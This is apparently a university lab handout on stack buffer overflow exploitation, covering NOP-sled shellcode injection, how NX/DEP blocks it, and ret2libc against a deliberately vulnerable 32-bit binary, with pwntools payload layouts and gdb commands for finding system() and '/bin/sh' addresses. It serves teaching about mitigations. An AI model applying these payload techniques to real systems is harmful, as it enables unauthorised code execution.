week 7 workshop
Week 7 Lab — Shellcode Injection, NX, ret2libc (NEW material only)
Same binary/offset as Wk6 (76 bytes) — nothing new there. What's new: what you put after the offset, and what happens under NX.
1. Ex1 — Finish the job: real shellcode, not just 0x42424242
The one change from Week 6: instead of proving control with BBBB, put a real executable address in EIP.
# pwntools payload structure
payload = b'A'*76 + p32(RET_TARGET) + b'\x90'*400 + shellcode
# offset real stack addr NOP sled execve("/bin/sh")- NOP sled (
\x90bytes): absorbs uncertainty in exact stack address — land anywhere in the sled, CPU slides forward to the real payload - Pick
RET_TARGETfrom the middle of the sled, not the first byte — tolerates small address shifts between runs - Find
RET_TARGETby opening the payload in EDB, following ESP into the stack at the fault, reading an address inside the90 90 90...run
⚠️ Gotcha: don't reuse a "probe" payload file (still has 0x42424242 baked in) — build a second payload file with the real RET_TARGET once you know it. The CPU cares only about the literal 4 bytes at the offset, not which script made the file.
2. Ex2 — DEP/NX in action: same address, different result
Setup: identical binary, ONE flag flipped:
gcc -m32 -fno-stack-protector -z noexecstack -no-pie -o vuln_nx vuln.c(execstack → noexecstack)
Same exact payload, same RET_TARGET, against vuln_nx:
EIP = 0xffffce64 (same address as Ex1 — the overwrite still works!)
→ SIGSEGV instead of a shell
⭐ The point to remember: NX does not stop the attacker controlling EIP — the redirect happens exactly the same. NX stops the CPU from fetching instructions from that (now non-executable) page. Control ≠ execution — that gap is the whole lecture.
Three crashes to compare (this is the exam-ready summary):
| Week | EIP value | Why it fails/succeeds |
|---|---|---|
| Wk6 | 0x41414141 | Unmapped address — CPU can't even read it |
| Wk7 Ex1 | 0xffffce64 | Mapped + executable → shellcode runs |
| Wk7 Ex2 | 0xffffce64 (same!) | Mapped but non-executable (NX) → fault |
3. Ex3 — ret2libc, hands-on
Get real addresses from a live process (ASLR off):
gdb -q ./vuln_nx
(gdb) break handle_username
(gdb) run AAAA
(gdb) print system
(gdb) print exit
(gdb) find &system, +0x200000, "/bin/sh"Build the fake call frame (no shellcode at all):
payload = b'A' * 76
payload += p32(system_addr) # RET slot → jump straight into system()
payload += p32(exit_addr) # system()'s OWN return addr → exit cleanly after
payload += p32(binsh_addr) # system()'s 1st argument → "/bin/sh"From
system()'s point of view at the momentretfires, this just looks like a normal call: next stack slot = its return address, slot after = its argument. Nothing on the stack is ever executed → NX has nothing to catch → this bypasses NX entirely.
⭐ Which mitigation actually stops THIS one: not NX — ASLR. Randomize library base addresses and the hard-coded system/exit/"/bin/sh" addresses stop being predictable run to run.
The 3-exercise ladder (one-sentence summary of the whole workshop)
| Mitigation | What it stops |
|---|---|
| Stack canary | Corruption before it reaches the return address at all |
| NX/DEP | Newly-injected code from running, even after EIP is redirected |
| ASLR | Reliably aiming EIP anywhere useful in the first place (sled or fixed libc address) |
❌ Cut — identical to Week 6, no need to repeat
Finding the offset with cyclic patterns · checksec basics · compiling with guards down · EIP/ret mechanics